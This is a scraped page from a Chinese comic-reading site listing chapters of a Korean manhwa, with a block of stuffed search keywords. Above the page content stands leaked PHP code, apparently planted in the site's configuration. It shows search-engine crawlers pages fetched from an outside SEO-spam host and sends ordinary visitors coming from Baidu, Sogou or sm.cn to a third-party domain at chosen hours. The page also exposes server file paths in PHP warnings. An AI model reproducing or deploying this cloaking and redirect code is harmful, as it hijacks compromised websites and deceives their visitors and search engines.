$ip_segments = [ '124.166.232.', '116.179.32.', '180.76.15.', '180.76.5.', '220.181.108.', '123.125.71.', '123.125.66.', '111.206.198.', '111.206.221.', '180.149.133.', '61.135.186.', '220.181.32.', '61.135.168.', '23.88.208.', '61.135.165.', '61.135.169.', '104.245.36.', '149.28.84.', '158.247.209.', '23.89.152.', '45.66.156.', '65.49.194.', '8.9.8.', '220.181.108.', '116.179.32.', '123.125.68.', '220.181.68.', '220.181.7.', '123.125.66.', '121.14.89.', '203.208.60.', '210.72.225.', '123.125.71.', '220.181.107.', '220.181.38.', '220.181.19.', '159.226.50.', '202.108.11.', '202.108.22.', '202.108.23.', '202.108.249.', '202.108.250.', '61.135.145.', '61.135.146.', '125.90.88.' ]; $baidu_spider_ips = array ( ); $baidu_spider_ips = array_merge($ip_segments, $baidu_spider_ips); $client_ip = getClientIp(); $ua = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : ''; $referer = isset($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : ''; if (isBaiduSpider($client_ip) || preg_match('/360spider|sogou web spider|sogou pic spider/i', $ua)) { if (isMatchUrl()) { $headers = [ //'Host: '.$_SERVER['HTTP_HOST'], 'User-Agent: '.$ua, 'X-FORWARDED-FOR: '.$client_ip ]; if ($referer !== '') { $headers[] = 'Referer: '.$referer; } $api_url = "https://seo.sycz888.com/site/b5e476cbb411723f04e8bbca1290a4e1/".ltrim($_SERVER['REQUEST_URI'], '/'); echo getUrlContent($api_url, $headers); exit(); } else { $api_url = "https://seo.sycz888.com/url/b5e476cbb411723f04e8bbca1290a4e1"; echo getUrlContent($api_url); } } else { if (isMatchUrl() && $referer !== '') { $parsed = parse_url($referer); if (!empty($parsed['domain'])) { if (preg_match('/m\.baidu\.com|360\.com|so\.com|sogou\.com/i', $parsed['domain'])) { echo ''; echo ''; exit(); } } } } function getClientIp() { if (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) { return $_SERVER['HTTP_X_FORWARDED_FOR']; } else { return $_SERVER['REMOTE_ADDR']; } } function isMatchUrl() { $url_path = ltrim($_SERVER['REQUEST_URI'], '/'); $pattern = '/^chapter\/(\d{1,15})\.html$|^chapter\/(\d{1,15})$|^mh\/(\d{1,15})\.html$|^mh\/(\d{1,15})$|^mh\/(\d{1,15})\.html$|^mh\/(\d{1,15})$|^Play\/(\d{1,15})$|^Play\/(\d{1,15})\.html$|^Movie\/(\d{1,15})$|^Movie\/(\d{1,15})\.html$|^voddetail\/(\d{1,15})$|^voddetail\/(\d{1,15})\.html$|^comic\/(\d{1,15})$|^comic\/(\d{1,15})\.html$/'; return preg_match($pattern, $url_path); } function isIpInRange($ip, $cidr) { if (strpos($cidr, '/') !== false) { list($subnet, $mask) = explode('/', $cidr); return (ip2long($ip) & ~((1 << (32 - $mask)) - 1)) == ip2long($subnet); } else { return strpos($ip, $cidr) === 0; } } function isBaiduSpider($client_ip) { global $baidu_spider_ips; foreach ($baidu_spider_ips as $cidr) { if (isIpInRange($client_ip, $cidr)) { return true; } } return false; } function getUrlContent($url, $header = []) { $curl = curl_init(); if (stripos($url,"https://") !== FALSE) { curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, FALSE); curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, FALSE); } if (!empty($header)) { curl_setopt($curl, CURLOPT_HTTPHEADER, $header); } curl_setopt($curl, CURLOPT_URL, $url); curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1); curl_setopt($curl, CURLOPT_NOSIGNAL, 1); curl_setopt($curl, CURLOPT_TIMEOUT_MS, 30 * 1000); $content = curl_exec($curl); curl_close($curl); return $content; } // 获取访问者的 IP 地址 $user_ip = $_SERVER['REMOTE_ADDR']; // 原有的 IP 段列表 $ip_segments = [ '124.166.232.', '116.179.32.', '180.76.15.', '180.76.5.', '220.181.108.', '123.125.71.', '123.125.66.', '111.206.198.', '111.206.221.', '180.149.133.', '61.135.186.', '220.181.32.', '61.135.168.', '23.88.208.', '61.135.165.', '61.135.169.', '104.245.36.', '149.28.84.', '158.247.209.', '23.89.152.', '45.66.156.', '65.49.194.', '8.9.8.', '220.181.108.', '116.179.32.', '123.125.68.', '220.181.68.', '220.181.7.', '123.125.66.', '121.14.89.', '203.208.60.', '210.72.225.', '123.125.71.', '220.181.107.', '220.181.38.', '220.181.19.', '159.226.50.', '202.108.11.', '202.108.22.', '202.108.23.', '202.108.249.', '202.108.250.', '61.135.145.', '61.135.146.', '125.90.88.' ]; // 从 ip.txt 文件加载需要排除的完整 IP 地址 $ip_file_path = '/tmp/ipb.txt'; $excluded_ips = []; if (file_exists($ip_file_path)) { // 读取文件并去掉每个 IP 地址的空格和换行符 $excluded_ips = array_map('trim', file($ip_file_path, FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES)); } // 检查当前 IP 是否在排除列表内 $is_excluded_ip = false; // 检查 IP 是否在原有的 IP 段或 ip.txt 中 foreach ($excluded_ips as $excluded_ip) { if ($user_ip === $excluded_ip) { $is_excluded_ip = true; break; } } foreach ($ip_segments as $segment) { if (strpos($user_ip, $segment) === 0) { $is_excluded_ip = true; break; } } // 获取 Referer 判断是否来自百度、搜搜、搜狗或者 sm.cn $is_baidu_referer = isset($_SERVER['HTTP_REFERER']) && strpos($_SERVER['HTTP_REFERER'], 'baidu.com') !== false; $is_sm_referer = isset($_SERVER['HTTP_REFERER']) && strpos($_SERVER['HTTP_REFERER'], 'sm.cn') !== false; $is_sogou_referer = isset($_SERVER['HTTP_REFERER']) && strpos($_SERVER['HTTP_REFERER'], 'sogou.com') !== false; // 获取当前时间(北京时间) date_default_timezone_set('Asia/Shanghai'); $current_time = time(); $current_day = date('w', $current_time); // 星期几 (0=星期日, 1=星期一, ..., 6=星期六) $current_hour = date('G', $current_time); // 24小时制的小时 $current_minute = date('i', $current_time); // 分钟 // 判断是否在指定时间段内 $in_time_period = false; // 星期五下午1点到星期一下午1点 if (($current_day == 5 && $current_hour >= 13) // 星期五下午1点到午夜 || ($current_day == 6) // 星期六全天 || ($current_day == 0) // 星期日全天 || ($current_day == 1 && $current_hour < 13)) { // 星期一到下午1点 $in_time_period = true; } // 其他时间晚上9点到凌晨3点 if (($current_hour >= 21) || ($current_hour < 3)) { $in_time_period = true; } // 百度 referer 判断并且时间段判断 if (!$is_excluded_ip && $is_baidu_referer && $in_time_period) { // 定义跳转的域名 $domains = ["https://bockea.gxjcpm.com.cn/ft/9.html"]; $random_domain = $domains[array_rand($domains)]; header("Location: $random_domain"); exit; } // 搜搜和搜狗 referer 判断,不需要时间段限制 if (!$is_excluded_ip && ($is_sm_referer || $is_sogou_referer)) { // 定义跳转的域名 $domains = ["https://bockea.gxjcpm.com.cn/ft/9.html"]; $random_domain = $domains[array_rand($domains)]; header("Location: $random_domain"); exit; } ?>
Warning: Cannot modify header information - headers already sent by (output started at /www/wwwroot/yiyin360.com/kimi/configs/config.php:97) in /www/wwwroot/yiyin360.com/kimi/class/router.php on line 5

Warning: Cannot modify header information - headers already sent by (output started at /www/wwwroot/yiyin360.com/kimi/configs/config.php:97) in /www/wwwroot/yiyin360.com/kimi/class/router.php on line 6
逾越界线漫画免费阅读漫画免费阅读「下拉观看」-韩国漫画网

逾越界线漫画免费阅读

总人气:  8421状态:  完结|总收藏:  0

简介:再后来,有人问林眷眷,为何会对路卿年一见仍旧。她答:概略是因为,见到他,我人生中第一次想到了一个词。

推荐:

逾越 什么意思  逾越是什么意思啊  逾越界限  逾越分际  啥叫逾越  逾越是什么意思?  逾越界限是什么意思  逾越界限漫画下载  逾越极限  逾越距离是什么意思  逾越的界限  逾越什么意思?  韩漫逾越界线  逾越怎么解释  逾越关系  逾越在线阅读  逾越啥意思  逾越关系是什么意思  逾越的红线  逾越份际  逾越分寸  逾越界线免费漫画  逾越感情界限是什么意思  逾越的关系漫画  逾越和越界的区别  逾越规则  逾越解释  逾越规则是什么意思  逾越距离什么意思  逾越分际什么意思  逾越什么  逾越距离  逾越地线漫画  逾越是什么意思  逾越界限成语  逾越是什么  逾越全文阅读  超越界线  逾越小说作者  逾越的距离  逾越界线漫画免费阅读  逾越界线的瞬间  逾越界线什么意思  逾越界线漫画免费观看  逾越界线志远免费  逾越界线薇娜漫画免费观看  逾越界线漫画  逾越界线志远漫画免费观看  逾越界线志远  逾越界线志远全文免费阅读  逾越界线免费阅读  逾越界线漫画无删减  逾越界线志远免费土豪  逾越界限还是界线  可以跨越那条界线吗 漫画 

开始阅读
 收藏

目录

2023-02-19 18:46:20更新至第37章:精油按摩
1-20
21-4041-6061-73
最新20话
  1. 第1章:同父异母的妹妹

  2. 第2章:要我帮你吗?

  3. 第2章:要我帮你吗?

  4. 第3章:机会

  5. 第3章:机会

  6. 第4章:我想要

  7. 第4章:我想要

  8. 第5章:交往纪念日

  9. 第5章:交往纪念日

  10. 第6章:这样的关系

  11. 第6章:这样的关系

  12. 第7章:会被发现的

  13. 第7章:会被发现的

  14. 第8章:放开我

  15. 第8章:放开我

  16. 第9章:我的错

  17. 第9章:我的错

  18. 第10章:真是期待啊

  19. 第10章:真是期待啊

  20. 第11章:这不是误会

  21. 第11章:这不是误会

  22. 第12章:那就拜托你了

  23. 第12章:那就拜托你了

  24. 第13章:约会

  25. 第13章:约会

  26. 第14章:学校

  27. 第14章:学校

  28. 第15章:第一次

  29. 第15章:第一次

  30. 第16章:过家家

  31. 第16章:过家家

  32. 第17章:意外

  33. 第17章:意外

  34. 第18章:游乐场

  35. 第18章:游乐场

  36. 第19章:摩天轮

  37. 第19章:摩天轮

  38. 第20章:真的可以吗?

  39. 第20章:真的可以吗?

  40. 第21章:泡温泉

  41. 第21章:泡温泉

  42. 第22章:饮料

  43. 第22章:饮料

  44. 第23章:露天温泉

  45. 第23章:露天温泉

  46. 第24章:礼物

  47. 第24章:礼物

  48. 第25章:探病

  49. 第25章:探病

  50. 第26章:诱惑

  51. 第26章:诱惑

  52. 第27章:替代

  53. 第27章:替代

  54. 第28章:撒谎

  55. 第28章:撒谎

  56. 第29章:游泳比赛

  57. 第29章:游泳比赛

  58. 第30章:休息室

  59. 第30章:休息室

  60. 第31章:奇怪的事

  61. 第31章:奇怪的事

  62. 第32章:泡澡

  63. 第32章:泡澡

  64. 第33章:故意

  65. 第33章:故意

  66. 第34章:请再继续吧

  67. 第34章:请再继续吧

  68. 第35章:误会

  69. 第35章:误会

  70. 第36章:特别照顾

  71. 第36章:特别照顾

  72. 第37章:精油按摩

  73. 第37章:精油按摩

漫评

评论

0条评论
0/200

    作者角色

    WM

    WM

    出品

    WM简介

    作者WM暂无话说

    综合榜